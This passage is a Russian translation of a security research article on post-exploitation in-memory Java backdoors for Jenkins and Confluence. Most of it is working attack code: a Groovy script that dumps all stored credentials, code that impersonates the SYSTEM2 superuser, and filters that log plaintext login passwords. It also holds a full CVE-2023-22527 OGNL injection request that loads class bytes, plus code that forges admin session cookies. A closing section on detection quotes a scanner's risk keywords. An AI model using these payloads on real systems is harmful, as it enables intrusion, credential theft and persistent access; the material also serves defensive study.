  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
      FilterChain filterChain) throws IOException, ServletException {
    try {
      HttpServletRequest request = (HttpServletRequest) servletRequest;
      HttpServletResponse response = (HttpServletResponse) servletResponse;

      if (request.getHeader(/* [...] */) != null) {
        try {
          handleRequest(request, response);
        } catch (AbortRequest e) {
          return; //if raw HTML result, prevent the req from being processed by jenkins
        }
      }
    } catch (Exception ignored) {
    }
    if (filterChain != null) {
      filterChain.doFilter(servletRequest, servletResponse);
    }
  }

  // [...]
}

Исполнение скриптов

В Jenkins скрипты Groovy выполняются с использованием класса RemotingDiagnostics из Hudson и его приватного класса Script. Этот класс импортирует несколько пакетов, которые позволяют взаимодействовать с API Jenkins.

Например, следующий скрипт, основанный на упомянутом в статье примере, можно использовать для извлечения всех секретов, при условии, что у текущего аутентифицированного пользователя есть права на чтение этих данных:

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl
import com.cloudbees.plugins.credentials.common.StandardCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl
import org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl
import com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl
import hudson.model.ItemGroup

def stringify(c) {
  switch(c) {
    case BasicSSHUserPrivateKey:
      	return String.format("id=%s desc=%s passphrase=%s keys=%s", c.id, c.description, 
            c.getPassphrase() != null ? c.getPassphrase().getPlainText() : '', c.privateKeySource.getPrivateKeys())
    case UsernamePasswordCredentialsImpl:
      	return String.format("id=%s desc=%s user=%s pass=%s", c.id, c.description, 
            c.username, c.password != null ? c.password.getPlainText() : '')
    case FileCredentialsImpl: 
      	is = c.getContent()
        if(is != null){
          byte[] buf = new byte[is.available()]
    	  is.read(buf);
          content = buf.encodeBase64().toString()
        } else {
          content = '';
        }
        return String.format("id=%s desc=%s filename=%s content=%s", c.id, c.description, 
            c.getFileName(), content)
    case StringCredentialsImpl:
      	return String.format("id=%s desc=%s secret=%s", c.id, c.description, 
            c.getSecret() != null ? c.getSecret().getPlainText() : '')
    case CertificateCredentialsImpl:
        source = c.getKeyStoreSource()
        if (source != null)
            content = source.getKeyStoreBytes().encodeBase64().toString()
        else 
            content = ''
      	return String.format("id=%s desc=%s password=%s keystore=%s", c.id, c.description, 
            c.getPassword() != null ? c.getPassword().getPlainText() : '', content)
    default:
        return 'Unknown type ' + c.getClass().getName()
  }
}

for (group in Jenkins.instance.getAllItems(ItemGroup)) {
  println "============= " + group
  for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, group))
     println stringify(cred)
}
println "============= Global"
for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, Jenkins.instance, null, null))
  println stringify(cred)

Реализация функции для выполнения скриптов Groovy может быть очень полезной, особенно когда веб-оболочка в памяти была внедрена путем эксплуатации одной из цепочек RCE, упомянутых ранее, так как внедренный код будет выполняться в контексте неаутентифицированного пользователя. Чтобы выполнять привилегированные операции на Jenkins из скриптов Groovy, эта функция должна быть адаптирована для имперсонирования привилегированного пользователя.

На самом деле, Jenkins определяет специального аутентифицированного пользователя с именем SYSTEM2, которому предоставлены все привилегии. Аутентификация в Jenkins выполняется с использованием Authentication Spring.

Текущий аутентифицированный пользователь хранится в SecurityContext Spring, где его экземпляр можно получить из SecurityContextHolder.

Замена экземпляра Authentication на null или ANONYMOUS в SecurityContext достаточно для имперсонации пользователя SYSTEM2

String script = (String) args.get("script");

ClassLoader ctxLoader = Thread.currentThread()
  .getContextClassLoader();

Object SYSTEM2 = ctxLoader.loadClass("hudson.security.ACL")
  .getField("SYSTEM2").get(null);

Object securityCtx = ctxLoader
  .loadClass("org.springframework.security.core.context.SecurityContextHolder")
  .getMethod("getContext").invoke(null);
Class authClass = ctxLoader.loadClass("org.springframework.security.core.Authentication");
Object oldAuth = securityCtx.getClass().getMethod("getAuthentication")
  .invoke(securityCtx);
Method setAuth = securityCtx.getClass()
  .getMethod("setAuthentication", new Class[]{ authClass });
try {
  // Impersonate SYSTEM2 (full privileges)
  setAuth.invoke(securityCtx, SYSTEM2);

  Class scriptingKlass = ctxLoader.loadClass("hudson.util.RemotingDiagnostics$Script");
  Constructor scriptingConstructor = scriptingKlass
    .getDeclaredConstructors()[0];
  scriptingConstructor.setAccessible(true);
  Object scripting = scriptingConstructor.newInstance(script);
  Method call = scriptingKlass.getDeclaredMethod("call");
  call.setAccessible(true);
  String res = (String) call.invoke(scripting);
  result.put("res", res);
} finally {
  //revert auth context
  setAuth.invoke(securityCtx, oldAuth);
}

Перехват аутентификационных данных

Наконец, как и в Bitbucket, Jenkins использует /j_spring_security_check для аутентификации пользователей, и можно настроить LDAP-каталог. Из нашего фильтра мы можем легко перехватывать такие запросы и логировать учетные данные в открытом виде

public class CustomFilter implements Filter {
  // [...]
  @Override
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    try {
      HttpServletRequest request = (HttpServletRequest) servletRequest;
      HttpServletResponse response = (HttpServletResponse) servletResponse;

      if (/* [...] */) {
        // [...]
      } else if (request.getRequestURI().equals("/j_spring_security_check") 
            && request.getMethod().equalsIgnoreCase("POST") 
            && request.getParameter("j_username") != null 
            && request.getParameter("j_password") != null) {
        logCredentials(request.getParameter("j_username"), request.getParameter("j_password"));
      }
    } catch (Exception ignored) {
    }
    if (filterChain != null) {
      filterChain.doFilter(servletRequest, servletResponse);
    }
  }
  // [...]
}

Загрузка через template injection

В январе 2024 года была опубликована уязвимость SSTI, обозначенная, как CVE-2023-22527, которая затрагивает Confluence Data Center. Эта уязвимость может быть использована без предварительной аутентификации, отправив запрос к шаблону text-inline.vm на базе шаблона Velocity. Этот шаблон реализует расширение OGNL (Object-Graph Navigation Language) из параметров запроса с использованием метода findValue. Объяснение и PoC приведены в статье.

Эту уязвимость можно использовать для компрометации сервера, а также пивотинга. Однако, как и в случае с Bitbucket, если это приложение содержит чувствительные данные и продолжает использоваться пользователями, может быть интересно сначала скомпрометировать его. Более того, если исходящий трафик фильтруется, и если приложение выполняется от непривилегированного пользователя, может потребоваться эксфильтрация данных с использованием самого приложения.

Наиболее простой способ компрометации — взаимодействие с его средой выполнения через Java-код. Confluence внутренне использует следующие зависимости:

  • Struts2

  • Tomcat embedded

  • Spring

Эксплуатация этой уязвимости для внедрения полезной нагрузки в память уже описана в этом блоге и в PoC. Однако автор демонстрирует немного другой метод.

Внедрение полезной нагрузки в память

В следующем запросе мы используем махинации с OGNL для обхода ограничения длины:

POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1341
Connection: close

name=Main33&label=<@urlencode>text\u0027+(#p=#parameters[0]),(#o=#request[#p[0]].internalGet(#p[1])),(#i=0),(#v=#{}),(#parameters[1].{#v[#i-1]=#o.findValue(#parameters[1][(#i=#i+1)-1],#{0:#parameters,1:#v})})+\u0027<@/urlencode>&0=.KEY_velocity.struts2.context&0=ognl&1=@Thread@currentThread().getContextClassLoader()&1=@java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])&1=new+net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})&1=@org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")&1=#root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()&clazz=<@urlencode>yv66vgAAAD0AIQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAAtDb25zdHJ1Y3RvcgoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAFgEADFN0YXRpYyBibG9jawcAGAEABk1haW4zMwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITE1haW4zMzsBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAtNYWluMzMuamF2YQAhABcAAgAAAAAAAgABAAUABgABABkAAAA/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAaAAAADgADAAAAAgAEAAMADAAEABsAAAAMAAEAAAANABwAHQAAAAgAHgAGAAEAGQAAACUAAgAAAAAACbIABxIVtgAPsQAAAAEAGgAAAAoAAgAAAAcACAAIAAEAHwAAAAIAIA==<@/urlencode>

Эта нагрузка делится на четыре части:

  • Параметр label, использующий OGNL-инъекцию и обходящий ограниченный контекст Struts2

  • POST-параметр array 0, который сокращает длину полезной нагрузки в параметре label

  • POST-параметр array 1, определяющий полезную нагрузку, которая в конечном итоге выполняется

  • Дополнительные POST-параметры, используемые для передачи параметров в полезную нагрузку шага 3 (такие как clazz и name).

В более читаемом виде параметр label внедряет следующую OGNL-полезную нагрузку:

// #parameters[0] = {".KEY_velocity.struts2.context", "ognl"}
// #parameters[1] = {"3*6", "@System@out.println(#root[1][0])"}

#p = #parameters[0]
#o = #request[#p[0]].internalGet(#p[1])
#i = 0
#v = #{}
#parameters[1].{ 
  #v[#i-1] = #o.findValue(
    #parameters[1][(#i = #i + 1) - 1],
    #{0:#parameters, 1:#v}
  )
}

Нагрузка обходит песочницу и использует проекции коллекций с делегатом (см. документацию и эту статью), чтобы определять каждый элемент (или строку полезной нагрузки) из POST-параметра array1. Полезная нагрузка параметра label также сохраняет результат выполнения каждой предыдущей строки за пределами песочницы и передает массив результатов в параметр #root[1]. Наконец, параметры POST-запроса передаются в #root[0].

Несмотря на то что контекст Struts2 был обойден, класс OgnlRuntime по-прежнему ограничивает методы, которые могут быть вызваны:

package ognl;
// [...]
public class OgnlRuntime {
  // [...]
  public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
    if (_useStricterInvocation) {
      Class methodDeclaringClass = method.getDeclaringClass();
      if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)
          || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) 
          || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) 
          || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) 
          || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) 
          || ClassResolver.class.isAssignableFrom(methodDeclaringClass) 
          || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) 
          || MemberAccess.class.isAssignableFrom(methodDeclaringClass) 
          || OgnlContext.class.isAssignableFrom(methodDeclaringClass) 
          || Runtime.class.isAssignableFrom(methodDeclaringClass) 
          || ClassLoader.class.isAssignableFrom(methodDeclaringClass) 
          || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) 
          || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
        throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
      }
    }
  // [...]
}

Это можно легко обойти, вызвав MethodInvocationUtils из Spring.

Окончательная полезная нагрузка, хранящаяся в POST-параметре array1, внедряет классы с помощью ByteArrayClassLoader, который включен в Confluence, и MethodInvocationUtils из Spring для вызова фильтрованного метода loadClass класса ClassLoader.

#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")
#root[1][4] = #root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()

Эту полезную нагрузку можно расширить, чтобы определить столько классов, сколько требуется:

#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder()
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],false,#{})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"defineClass","","".getBytes()).getMethod()
#root[1][4] = #root[(#k=0)]['classes'].{#root[1][3].invoke(#root[1][2],#root[0]['names'][(#k=#k+1)-1],#root[1][1].decode(#root[0]['classes'][#k-1]))}
#root[1][5] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","").getMethod()
#root[1][6] = #root[1][5].invoke(#root[1][2],#root[0]['main'][0]).newInstance()

Обратите внимание, что также могут быть использованы скриптовые движки для полного обхода песочницы, при условии, что они загружаются в Confluence. Пример PoC на GitHub и статья использовали JavaScript ScriptingEngine для эксплуатации уязвимости CVE-2022-26134 и внедрения собственного класса во время выполнения. Однако, такие движки, похоже, больше не доступны по умолчанию в Confluence и JDK 17.

Взаимодействие с Confluence

Аналогично Bitbucket, Confluence является продуктом, разработанным компанией Atlassian, и можно выявить определённые сходства между ними. Стоит отметить, что другие исследователи ранее публиковали примеры Java-классов, направленных на пост-эксплуатацию.

Внедрение бэкдора в память Confluence может использовать ту же технику, которая описана в разделе о Bitbucket. Поскольку Confluence основан на Tomcat, процесс включает регистрацию нового Valve, что позволяет использовать существующую кодовую базу для внедрения бэкдора. Исходя из эксплуатации SSTI, представленной в предыдущем разделе, можно получить доступ к StandardContext Tomcat, используя ServletActionContext Struts2. Так как последний доступен из потока, обрабатывающего веб-запрос, ссылку на экземпляр StandardContext можно получить, выполнив рефлексию на различных полях

ServletContext svlCtx = ServletActionContext.getRequest().getServletContext();
Field field = svlCtx.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(svlCtx);

field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
return (StandardContext)field.get(applicationContext);

Имея ссылку на этот контекст, можно зарегистрировать Valve, как описано ранее.

Однако существует заметное различие между Bitbucket и Confluence в отношении подхода к доступу к компонентам. В то время как Bitbucket использует аннотацию @Service из фреймворка Spring для внедрения зависимостей, Confluence применяет менеджер экземпляров. Основным компонентом, облегчающим доступ к различным классам внутри приложения, является ContainerManager. Он хранит ссылки на экземпляры других классов, которые можно статически получить, как показано ниже:

UserAccessor userAccessor = (UserAccessor) ContainerManager.getComponent("userAccessor");
for (User user : userAccessor.getUsers()) {
    System.out.println(user.getName())
}

Генерация Cookies аутентификации

Используя класс ContainerManager, мы можем получить доступ к различным классам для генерации cookies, как это делалось для Bitbucket. Эта техника уже была опубликована в двух репозиториях на GitHub.

Получив доступ к классу RememberMeTokenDao, мы можем создавать новые cookies для произвольных пользователей:

DefaultRememberMeTokenGenerator generator = new DefaultRememberMeTokenGenerator();
RememberMeConfiguration config = (RememberMeConfiguration) ContainerManager
  .getComponent("rememberMeConfig");

RememberMeToken token = ((RememberMeTokenDao) ContainerManager.getComponent("rememberMeTokenDao"))
  .save(generator.generateToken("admin"));

String cookie = String.format("%s=%s", 
  config.getCookieName(), 
  URLEncoder.encode(String.format("%s:%s", save.getId(), save.getRandomString()))
);
// seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df

Эту cookie можно использовать для получения аутентифицированной сессии и для администрирования приложения:

$ curl -kIs -b "seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df" http://confluence.local:8090/admin/users/browseusers.action
HTTP/1.1 200 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1712744566388
Set-Cookie: JSESSIONID=960285A70EAA39C4F21CAE9530A873F3; Path=/; HttpOnly
X-Seraph-LoginReason: OK
X-AUSERNAME: admin

Перехват аутентификационных данных

В Confluence форма аутентификации использует ручку /dologin.action. Например, когда форма отправляется, выполняется следующий запрос:

POST /dologin.action HTTP/1.1
Host: confluence.local:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
[...]

os_username=admin&os_password=admin&login=Log+in&os_destination=%2Findex.action

Учётные данные можно перехватить через бэкдор, извлекая нужные параметры, как это было сделано для Bitbucket и Jenkins:

Map<String, Object> creds = new HashMap<>();
creds.put("user", request.getParameter("os_username"));
creds.put("password", request.getParameter("os_password"));

Обнаружение

Для синей команды обнаружение веб-шеллов в памяти может быть сложной задачей, так как на диске не остаётся следов. Это означает, что единственный способ обнаружения таких загрузочных файлов — это поведенческий анализ, который по своей сути труден. Мониторинг подсистем этих программных экземпляров — хороший подход, так как он может помочь в логировании команд, выполняемых приложением, от ProcessBuilder или Runtime.getRuntime().exec(...).

Если вы подозреваете возможное компрометирование сервера, на котором размещены Java-приложения, можно извлечь чувствительные классы, используя инструмент copagent. Интересно, что последний также использует возможности Java-агента для извлечения всех загруженных классов:

$ java -jar cop.jar -p 7
[INFO] Java version: 17
[INFO] args length: 2
[INFO] Java version: 17
[INFO] args length: 4
[INFO] Try to attach process 7, please wait a moment ...

Инструмент имеет встроенный список чувствительных классов для извлечения:

List<String> riskSuperClassesName = new ArrayList<String>();
riskSuperClassesName.add("javax.servlet.http.HttpServlet");

List<String> riskPackage = new ArrayList<String>();
riskPackage.add("net.rebeyond.");
riskPackage.add("com.metasploit.");

List<String> riskAnnotations = new ArrayList<String>();
riskAnnotations.add("org.springframework.stereotype.Controller");
[...]

Когда класс находится, он извлекается и добавляется в файл .copagent/results.txt. Вот пример двух классов, загруженных нашим бэкдором, и поскольку они расширяют класс javax.servlet.Filter, они извлекаются:

[...]
order: 281
name: org.foo.bar.Class1
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class1.java
hashcode: 6e6bb856
classloader: org.foo.bar.a.a
extends     : org.foo.bar.a.a@8f2ef92

order: 282
name: org.foo.bar.Class2
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class2.java
hashcode: 66bd3ba5
classloader: org.foo.bar.a.a
extends     : org.foo.bar.a.a@8f2ef92
[...]

Обратите внимание, что уровень риска оценивается на основе некоторых вызовов методов, выполняемых классом:

List<String> riskKeyword = new ArrayList<String>();
riskKeyword.add("javax.crypto.");
riskKeyword.add("ProcessBuilder");
riskKeyword.add("getRuntime");
riskKeyword.add("shell");

Скомпилированные классы затем становятся доступными локально:

$ ll class/org.foo.bar.a.a-8f2ef92/org/foo/bar/
total 16
4 drwxr-x--- 2 confluence confluence 4096 Apr 10 14:26 .
4 drwxr-x--- 3 confluence confluence 4096 Apr 10 14:26 ..
4 -rw-r----- 1 confluence confluence 3285 Apr 10 14:42 Class1.class
4 -rw-r----- 1 confluence confluence 1377 Apr 10 14:42 Class2.class

Заключение

Недавно авторы использовали эти методы во время проведения red team, и перехват учётных данных оказался весьма ценным, значительно облегчая усилия по проникновению. В конечном итоге авторам удалось получить учётные данные привилегированных пользователей. Учитывая, что некоторые службы могут быть связаны с Active Directory, их захват может предоставить привилегированный доступ к внутренней сети.

Для синих команд обнаружение такого типа бэкдора представляет собой значительную проблему, хотя это можно сделать с помощью определённых инструментов, даже если процесс ручной и трудоёмкий. Такие атаки уже были замечены в реальных сценариях, и злоумышленники могли уже использовать такие бэкдоры. Эти виды ПО часто становятся целью атакующих из-за обилия информации, которую можно использовать для продолжения атаки или эксфильтрации.

От переводчика

Статья переведена во время собственных порывов разобраться в теме. Надеюсь, кому-то это тоже поможет.

Оригинал статьи - https://www.synacktiv.com/publications/injecting-java-in-memory-payloads-for-post-exploitation

Авторы оригинальной статьи - Clément Amic, Hugo Vincent

Комментарии (0)